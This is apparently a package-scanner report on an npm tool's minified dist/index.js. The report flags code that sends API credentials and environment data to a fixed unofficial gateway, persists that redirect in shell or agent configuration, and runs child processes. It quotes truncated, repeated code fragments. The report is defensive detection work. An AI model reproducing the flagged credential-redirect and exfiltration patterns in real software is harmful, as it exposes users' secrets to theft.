1Source sends the broad process environment to a literal external destination.
L1: #!/usr/bin/env node
L2: var DZ=Object.defineProperty;var $=(e,t,n)=>()=>{if(n)throw n[0];try{return e&&(t=e(e=0)),t}catch(r){throw n=[r],r}};var pk=(e,t)=>{for(var n in t)DZ(e,n,{get:t[n],enumerable:!0})}...
L3: `,{flag:"wx",mode:384}),await Re(l,a)}catch(d){throw await ei(l,{force:!0}).catch(()=>{}),await ei(e,{recursive:!0,force:!0}).catch(()=>{}),d}return async()=>{try{JSON.parse(await ...
L4: `,{mode:384}),await wk(a,384);try{await Re(a,n)}catch(s){throw await ei(a,{force:!0}).catch(()=>{}),s}},Fe=async e=>{if(Pm.getStore()===!0){await yk(e);return}let t=await Ck();try{...
L5: `;if(a||n.tombstoneAbsent!==!1)try{await KR(r,s)}catch(i){if(i.code!=="EEXIST")throw i}}let o=`${e}.anyray-tmp-${process.pid}-${zR
CriticalHardcoded Runtime Data Exfiltration
Source sends credentials or rich application records to a package-controlled external receiver enabled by default.
dist/index.jsView on unpkg · L1 56`)},fo=(e,t={})=>{let n=e.byoUpstream,r=!n&&ue(e,"anthropic"),o=ke({...e.metadata,tool:e.metadata.tool??"claude-code"}),a=t.includeClientKey!==!1,s=t.includeAuthToken!==!1,{context...
L57: `)):g&&b&&await ah(d,{force:!0}),await Gm(n,f)}catch(k){try{y!==void 0&&b?await Se(d,y):b&&await ah(d,{force:!0})}catch{throw new Error("shell environment update failed and credent...
L58: `)?a.slice(0,-2):a.endsWith(`
HighChild Process
Package source references child process execution.
dist/index.jsView on unpkg · L56 126}
L127: `,LP=e=>new Promise((t,n)=>{let r=Z3("powershell.exe",["-NoLogo","-NoProfile","-NonInteractive","-Command",q3],{encoding:"utf8",env:Et(),windowsHide:!0,timeout:6e4,maxBuffer:131072...
L128: `))}`]:[],`export ${bA}=${Be(n)}`]},XP=(e,t,n)=>{let r=ke({...e.metadata,tool:vi});return["export COPILOT_PROVIDER_TYPE='openai'",`export COPILOT_PROVIDER_BASE_URL=${Be(e.openaiBas...
54`);return o.length>0?o+`
L55: `:""},ku=e=>{if(e.trim().length===0)return!0;try{return Gj(e),!0}catch{return!1}}});import{randomUUID as zj}from"node:crypto";import{chmod as qj,mkdir as Qj,rm as eY,writeFile as t...
L56: `)},fo=(e,t={})=>{let n=e.byoUpstream,r=!n&&ue(e,"anthropic"),o=ke({...e.metadata,tool:e.metadata.tool??"claude-code"}),a=t.includeClientKey!==!1,s=t.includeAuthToken!==!1,{context...
L57: `)):g&&b&&await ah(d,{force:!0}),await Gm(n,f)}catch(k){try{y!==void 0&&b?await Se(d,y):b&&await ah(d,{force:!0})}catch{throw new Error("shell environment update failed and credent...
L58: `)?a.slice(0,-2):a.endsWith(`
HighSame File Env Network Execution
A single source file combines environment access, network access, and code or shell execution; review context before blocking.
dist/index.jsView on unpkg · L54 •Manifest-reachable source captures an API credential, sends it to a fixed unofficial gateway, and persists that redirection in agent or shell configuration.
dist/index.js:
var DZ=Object.defineProperty;var $=(e,t,n)=>()=>{if(n)throw n[0];try{return e&&(t=e(e=0)),t}catch(r){throw n=[r],r}};var pk=(e,t)=>{for(var n in t)DZ(e,n,{get:t[n],enumerable:!0})}...
`,{mode:384}),await wk(a,384);try{await Re(a,n)}catch(s){throw await ei(a,{force:!0}).catch(()=>{}),s}},Fe=async e=>{if(Pm.getStore()===!0){await yk(e);return}let t=await Ck();try{...
`,r),s=a<0?e.length:a;if(e.slice(o,s).trim()===t)return o;r=e.indexOf(t,r+t.length)}return-1}});import{readFile as dj,writeFile as s_,access as uj}from"node:fs/promises";import{rea...
`:""},ku=e=>{if(e.trim().length===0)return!0;try{return Gj(e),!0}catch{retur
HighCredential Redirect Persistence
Manifest-reachable source sends a prompted API credential to a fixed unofficial gateway and persists the redirection.
dist/index.jsView on unpkg 54`);return o.length>0?o+`
L55: `:""},ku=e=>{if(e.trim().length===0)return!0;try{return Gj(e),!0}catch{return!1}}});import{randomUUID as zj}from"node:crypto";import{chmod as qj,mkdir as Qj,rm as eY,writeFile as t...
L56: `)},fo=(e,t={})=>{let n=e.byoUpstream,r=!n&&ue(e,"anthropic"),o=ke({...e.metadata,tool:e.metadata.tool??"claude-code"}),a=t.includeClientKey!==!1,s=t.includeAuthToken!==!1,{context...
L57: `)):g&&b&&await ah(d,{force:!0}),await Gm(n,f)}catch(k){try{y!==void 0&&b?await Se(d,y):b&&await ah(d,{force:!0})}catch{throw new Error("shell environment update failed and credent...
L58: `)?a.slice(0,-2):a.endsWith(`
...
L63: `);dh("sqlite3",[e],{input:o,encoding:"utf-8",maxBuffer:lC,stdio:["pipe","ignore","pipe"]})}finally{try{KY(n,{recursive:!0,force:!0})}catch{}}},QY={kind:"sqlit
HighCommand Output Exfiltration
Source combines command execution, command-output handling, and outbound requests; review data flow before blocking.
dist/index.jsView on unpkg · L54 54Trigger-reachable command-output exfiltration chain: scripts.start -> dist/index.js
L54: `);return o.length>0?o+`
L55: `:""},ku=e=>{if(e.trim().length===0)return!0;try{return Gj(e),!0}catch{return!1}}});import{randomUUID as zj}from"node:crypto";import{chmod as qj,mkdir as Qj,rm as eY,writeFile as t...
L56: `)},fo=(e,t={})=>{let n=e.byoUpstream,r=!n&&ue(e,"anthropic"),o=ke({...e.metadata,tool:e.metadata.tool??"claude-code"}),a=t.includeClientKey!==!1,s=t.includeAuthToken!==!1,{context...
L57: `)):g&&b&&await ah(d,{force:!0}),await Gm(n,f)}catch(k){try{y!==void 0&&b?await Se(d,y):b&&await ah(d,{force:!0})}catch{throw new Error("shell environment update failed and credent...
L58: `)?a.slice(0,-2):a.endsWith(`
...
L63: `);dh("sqlite3",[e],{input:o,encoding:"utf-8",maxBuffer:lC,stdio:["pipe","i
HighTrigger Reachable Command Output Exfiltration
A manifest entrypoint or package-local install chain reaches command-output exfiltration behavior.
dist/index.jsView on unpkg · L54